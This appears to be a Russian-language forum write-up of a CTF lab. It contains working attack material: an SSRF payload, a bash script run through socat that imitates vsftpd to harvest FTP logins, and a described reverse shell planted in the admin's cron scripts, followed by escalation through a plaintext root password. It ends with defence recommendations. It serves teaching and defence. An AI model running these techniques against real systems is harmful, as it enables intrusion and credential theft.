r0dd9
Green Team
- 14.08.2019
- 25
- 17
- Специализация
- Пентест
Прямая ссылка на задание
1. recon nmap
2. banner grabing nmap
3. searchsploit
4. SSRF + FTP
5. Эскалация через su
Цель
Сервер 192.168.2.213:
Админ пишет:
Недавно я арендовал VDS. Буду использовать её для различных пентест проектов, пока что я её не полностью подготовил, однако уже настроил SSH и FTP с хранилищем утилит, которые я использую время от времени
Разведка цели
banner grabiing:
cript scan для найденных портов
Из полезного httponly flag not set возможна XSS-атака через куки
searchsploit no results под эти баннеры
Ищем другой вектор
На сайте заходим в админку ручным брутом логин пасс
В учетке админа можно проверить соединение
Перехватим этот запрос в burp и отправим в repeater
В параметрах можно попробовать изменить host и protocol
Выбираем вектор атаки
Этап 1: SSRF + FTP
Имитируем FTP-сервер и перехватываем учётные данные
Зная версию ftp напишем скрипт который будет отвечать как сервер и скопирует логин пароль от ftp в файл
socat позволяет привязать TCP-порт к скрипту
Этап 2: Первичная разведка сервера
Входим на ftp.
На сервере у админа скрипты котрые время от времени выполняются(он сам проговорился об этом). Этим можно воспользоваться для reverse shell
Запустим слушатель nc
Подключимся к ftp через mc и загрузим свой скрипт
Когда он выполнится мы получим shell
У админа в /home/admin первая часть флага
Этап 3: Ищем вектор для эскалации
Находим исходники сайта и там пароль root в открытом виде
Этап 4: Эскалация через su
Заходим под root
Находим вторую часть флага
CTF решен!
Использованные уязвимости
🛡 Рекомендации по защите
1. Использовать hash(), password_hash() для хранения
2. Требовать сложные пароли (zxcvbn + minLength=12) - Блокировка после 3-х неудач - Добавить 2FA
3. Не хранить скрипты в public/ или ~admin/ - Использовать systemd + ReadOnlyDirectories= - Проверять права на файлы (chmod 700, chown root:root)
4. Защита баннера - Изменить баннер - Отключить баннер - Убрать OS-флаги - Фейковый баннер - Скрыть версию - Отказаться от FTP
5. Ограничить доступ к портам
6. Используй TLS
7. Мониторинг логов
Инструменты: nmap, socat, nc, bash, searchsloit, curl
1. recon nmap
2. banner grabing nmap
3. searchsploit
4. SSRF + FTP
5. Эскалация через su
Сервер 192.168.2.213:
Админ пишет:
Недавно я арендовал VDS. Буду использовать её для различных пентест проектов, пока что я её не полностью подготовил, однако уже настроил SSH и FTP с хранилищем утилит, которые я использую время от времени
Bash:
nmap -sS 192.168.2.213
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
banner grabiing:
Bash:
nmap -sV -p 21,22,80 192.168.2.213
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Unix))
cript scan для найденных портов
Bash:
nmap -sC -p 21,22,80 192.168.2.213
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| 256 d7:78:34:f0:0a:01:9f:fd:f3:f0:32:61:77:1e:53:c8 (ECDSA)
|_ 256 39:55:2e:f4:65:ed:9b:72:30:de:08:bd:c1:50:56:98 (ED25519)
80/tcp open http
| http-title: \xD0\x92\xD1\x85\xD0\xBE\xD0\xB4 \xD0\xB2 \xD0\xBF\xD0\xB0\xD0\xBD\xD0\xB5\xD0\xBB\xD1\x8C \xD1\x83\xD0\xBF\xD1\x80\xD0\xB0\xD0\xB2\xD0\xBB\xD0\xB5\xD0\xBD\xD0\xB8\xD1\x8F
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Из полезного httponly flag not set возможна XSS-атака через куки
searchsploit no results под эти баннеры
Ищем другой вектор
На сайте заходим в админку ручным брутом логин пасс
В учетке админа можно проверить соединение
Перехватим этот запрос в burp и отправим в repeater
В параметрах можно попробовать изменить host и protocol
Bash:
host=127.0.0.1&protocol=ssh&check_connection=
Имитируем FTP-сервер и перехватываем учётные данные
Зная версию ftp напишем скрипт который будет отвечать как сервер и скопирует логин пароль от ftp в файл
Bash:
gedit ftp_interactive.sh
Bash:
#!/bin/bash
echo "220 vsFTPd 3.0.5 ready."
read -r user_cmd
if [[ "$user_cmd" == USER* ]]; then
user=$(echo "$user_cmd" | awk '{print $2}')
echo "331 Please specify the password for $user."
read -r pass_cmd
if [[ "$pass_cmd" == PASS* ]]; then
pass=$(echo "$pass_cmd" | awk '{print $2}')
echo -e "Логин: $user Пароль: $pass\n" >> ftp_creds.log
echo "530 Login incorrect."
fi
fi
socat позволяет привязать TCP-порт к скрипту
Bash:
socat TCP-LISTEN:21,reuseaddr,fork EXEC:./ftp_interactive.sh
Входим на ftp.
На сервере у админа скрипты котрые время от времени выполняются(он сам проговорился об этом). Этим можно воспользоваться для reverse shell
Когда он выполнится мы получим shell
У админа в /home/admin первая часть флага
Находим исходники сайта и там пароль root в открытом виде
Bash:
/ $ cat /var/www/localhost/htdocs/index.php
Заходим под root
Находим вторую часть флага
| # | Уязвимость | Краткое описание | MITRE ATT&CK |
|---|---|---|---|
| Banner Grabbing + SSRF + FTP | Через SSRF-уязвимость в index.php (host=127.0.0.1&protocol=ftp) и имитацию FTP-сервера через socat получены учётные данные admin / admin. | T1133 – External Remote Services | |
| SSH Banner + SSRF + SSH | Попытка SSRF на protocol=ssh (не использовалась окончательно, но разведана уязвимость). | T1190 – Exploit Public-Facing Application | |
| Пароли в открытом виде (Code Leak) | Пароль root (и другие чувствительные данные) найдены в открытом виде в /var/www/localhost/htdocs/index.php. | T1552.001 – Unsecured Credentials | |
| Крон-скрипты с возможностью загрузки кода | У админа есть скрипты, которые автоматически выполняются (cron/systemd). Это использовалось для загрузки reverse shell через FTP. | T1053.003 – Cron | |
| Слабые учётные данные (admin/admin) | Админка сайта защищена слабым логином/паролем, подобранным ручным брутом. | T1110.001 – Password Guessing |
🛡 Рекомендации по защите
1. Использовать hash(), password_hash() для хранения
2. Требовать сложные пароли (zxcvbn + minLength=12) - Блокировка после 3-х неудач - Добавить 2FA
3. Не хранить скрипты в public/ или ~admin/ - Использовать systemd + ReadOnlyDirectories= - Проверять права на файлы (chmod 700, chown root:root)
4. Защита баннера - Изменить баннер - Отключить баннер - Убрать OS-флаги - Фейковый баннер - Скрыть версию - Отказаться от FTP
5. Ограничить доступ к портам
6. Используй TLS
7. Мониторинг логов
Последнее редактирование: